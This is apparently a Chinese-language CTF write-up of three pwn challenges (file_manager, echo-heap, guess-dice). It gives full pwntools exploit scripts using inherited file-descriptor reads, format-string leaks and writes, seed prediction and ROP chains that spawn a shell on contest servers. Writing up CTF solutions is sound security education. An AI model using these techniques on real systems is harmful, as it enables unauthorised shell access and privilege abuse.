題目方向滿明顯的,如果能改 global variable gid
的值,這樣設 0 就是 root 了,所以應該沒辦法這樣做,不過當時花了很多時間在嘗試是否有其他作法。
exploit:
#!/usr/bin/python3
from pwn import *
import sys
import base64
if len(sys.argv) > 1:
r = remote('file.pwn.quals.r2s.tw', 34567)
else:
r = process("./file_manager")
for _ in range(8):
r.sendlineafter('Exit', '2')
r.sendlineafter('File ID > ', '1')
r.sendlineafter('Exit', '1')
r.sendlineafter('File', '/home/file_manager/flag')
r.sendlineafter('Exit', '333')
sleep(0.5)
r.sendline("read aa <&3")
sleep(0.5)
r.sendline("echo $aa")
r.interactive()
Inherited file descriptor 可以被 drop privilege (setgid
、setuid
) 的 child process 所存取,而讀 file descriptor 的方式有:
- 指令
read
- 寫 asm 編譯後,透過 base64 encode/decode 在 client 與 server 間互傳
我第一個解法為寫 asm,而在後來有發現 read
built-in command 也可以。
section .text
global _start
_start:
xor rax, rax
mov rdi, 3
mov rsi, rsp
mov rdx, 0x50
syscall
mov rax, 1
mov rdi, 1
syscall
-
nasm -f elf64 -o test.o test.asm
-
ld -m elf_x86_64 -s -o payload test.o
-
uid 為 0 時,執行
setuid
會同時設 real、effective uid -
bypass timeout
(app &)&
: command line double forktimeout 1000000 sh
: overwrite 舊有的 timeout
#!/usr/bin/python3
from pwn import *
import sys
if len(sys.argv) > 1:
r = remote('echo.pwn.quals.r2s.tw', 10101)
else:
r = process('./echo-heap')
"""
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
"""
#### leak
r.send("echo!\nheap!\n")
r.sendline(b"1"*0x70 + b"%s-" + b"%p-"*0x10)
datas = r.recv().split(b'-')[17:]
heap = int(datas[2], 16) - 0x2a0
libc = int(datas[4], 16) - 0x7548
one = libc + 0xe6c81
code = int(datas[5], 16) - 0x10c0
stack = int(datas[9], 16)
__malloc_hook = libc + 0x1ebb70
binsh = libc + 0x1b75aa
_system = libc + 0x55410
info(f"code: {hex(code)}")
info(f"libc: {hex(libc)}")
info(f"stack: {hex(stack)}")
info(f"one: {hex(one)}")
info(f"hook: {hex(__malloc_hook)}")
info(f"heap: {hex(heap)}")
def count(val, off):
if off > val:
return 0x100 - off + val
return val - off
rbp1 = 15
rbp2 = 43
roploc = heap + 0x6a0
leave_ret = code + 0x12b2
pop_rdi_ret = code + 0x1343
ret = code + 0x101a
def write_to_stack(target, value):
r.sendline("1"*0x70+f"%s")
r.recvuntil('%s')
needed = str( count(target & 0xffff, 0x81) ).rjust(5, '0')
r.sendline("1"*0x70 + f"%s-%{needed}c%{rbp1}$hn")
r.recvuntil('%s')
r.sendline("1"*0x70+f"%s")
r.recvuntil('%s')
for i in range(8):
needed = str( count(target+i & 0xff, 0x80) ).rjust(3, '0')
r.sendline("2"*0x70 + f"%s-%{needed}c%{rbp1}$hhn")
r.recvuntil('%s')
r.sendline("2"*0x70+f"%s")
r.recvuntil('%s')
pval = p64(value)[i]
needed = str( count(pval & 0xff, 0x80) ).rjust(3, '0')
r.sendline("3"*0x70 + f"%s-%{needed}c%{rbp2}$hhn")
r.recvuntil('%s')
r.sendline("3"*0x70+f"%s")
r.recvuntil('%s')
rop = b'\xff'*0x400 + p64(heap+0xb00) + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(_system) + p64(heap + 0x800)
write_to_stack(stack-0x10, roploc)
write_to_stack(stack-0x8, leave_ret)
input()
r.sendline(rop)
r.interactive()
一開始嘗試寫 __malloc_hook
one gadget,並且透過 $hhn
控制輸出的大小,但是 printf
內部還是會使用到 malloc()
,造成 __malloc_hook
還沒寫完就被執行,後來就只能乖乖走 ROP + stack pivoting。
// file
guess-dice: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=d6346b46df643ff52444290272f38ca6ceab5eb1, for GNU/Linux 3.2.0, not stripped
// check
[*] '/home/u1f383/r2s/dice/guess-dice'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
exploit:
#!/usr/bin/python3
from pwn import *
import sys
import subprocess
if len(sys.argv) > 1:
r = remote('dice.pwn.quals.r2s.tw', 10103)
else:
r = process('./guess-dice')
"""
[0] Read Dice
[1] Change Dice
[2] Guess Dice
"""
_system = 0x411a80
pop_rdi_ret = 0x4018ea
ret = 0x40101a
binsh = 0x4B69EB
# 0x401fac
r.sendlineafter('> ', '0')
r.sendlineafter('> ', '-4')
r.recvuntil(' is ')
tv_sec = int(r.recvline()[:-1])
r.sendlineafter('> ', '0')
r.sendlineafter('> ', '-2')
r.recvuntil(' is ')
tv_usec = int(r.recvline()[:-1])
info(f"sec, usec: {hex(tv_sec)}, {hex(tv_usec)}")
seed = (tv_sec & 0xffffffff) ^ (tv_usec & 0xffffffff)
info(f"seed: {seed}")
proc = subprocess.Popen(["./test", f"{seed}"], stdout=subprocess.PIPE)
out, err = proc.communicate()
rands = list(map(int, out.split(b' ')[6:-1]))
idx = 0
print(rands)
# 13 | 12 -> rbp
# 15 | 14 -> ret
def write_to_offset(offset, val):
global idx
u = val >> 32
l = val & 0xffffffff
r.sendlineafter('> ', '1')
r.sendlineafter('Dice number want to change', str(offset))
r.sendlineafter('Value with hash', str((l ^ rands[idx]) & 0xffffffff))
print(f"{l} ^ {rands[idx]}")
idx += 1
r.sendlineafter('> ', '1')
r.sendlineafter('Dice number want to change', str(offset+1))
r.sendlineafter('Value with hash', str((u ^ rands[idx]) & 0xffffffff))
print(f"{u} ^ {rands[idx]}")
idx += 1
# 0x401fac
write_to_offset(14, pop_rdi_ret)
write_to_offset(16, binsh)
write_to_offset(18, ret)
write_to_offset(20, _system)
def leak_dice():
dice = []
for i in range(6):
r.sendlineafter('> ', '0')
r.sendlineafter('> ', str(i))
r.recvuntil(' is ')
dice.append(int(r.recvline()[:-1]))
return dice
dice = leak_dice()
print(dice)
##### guess
input()
r.sendlineafter('>', '2')
for i in range(6):
r.sendlineafter('>', str(dice[i] ^ rands[idx]))
idx += 1
r.interactive()
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
int main(int argc, char *argv[])
{
unsigned long int seed = strtoul(argv[1], NULL, 10);
srandom((unsigned int) seed);
for (int i = 0; i < 0x100; i++) {
printf("%d ", rand());
}
return 0;
}
假 random,其實 seed 都可以 leak 出來,之後就是預測未來的 rand()
,透過 edit
的功能寫 ROP,最後在猜對 dice 即可。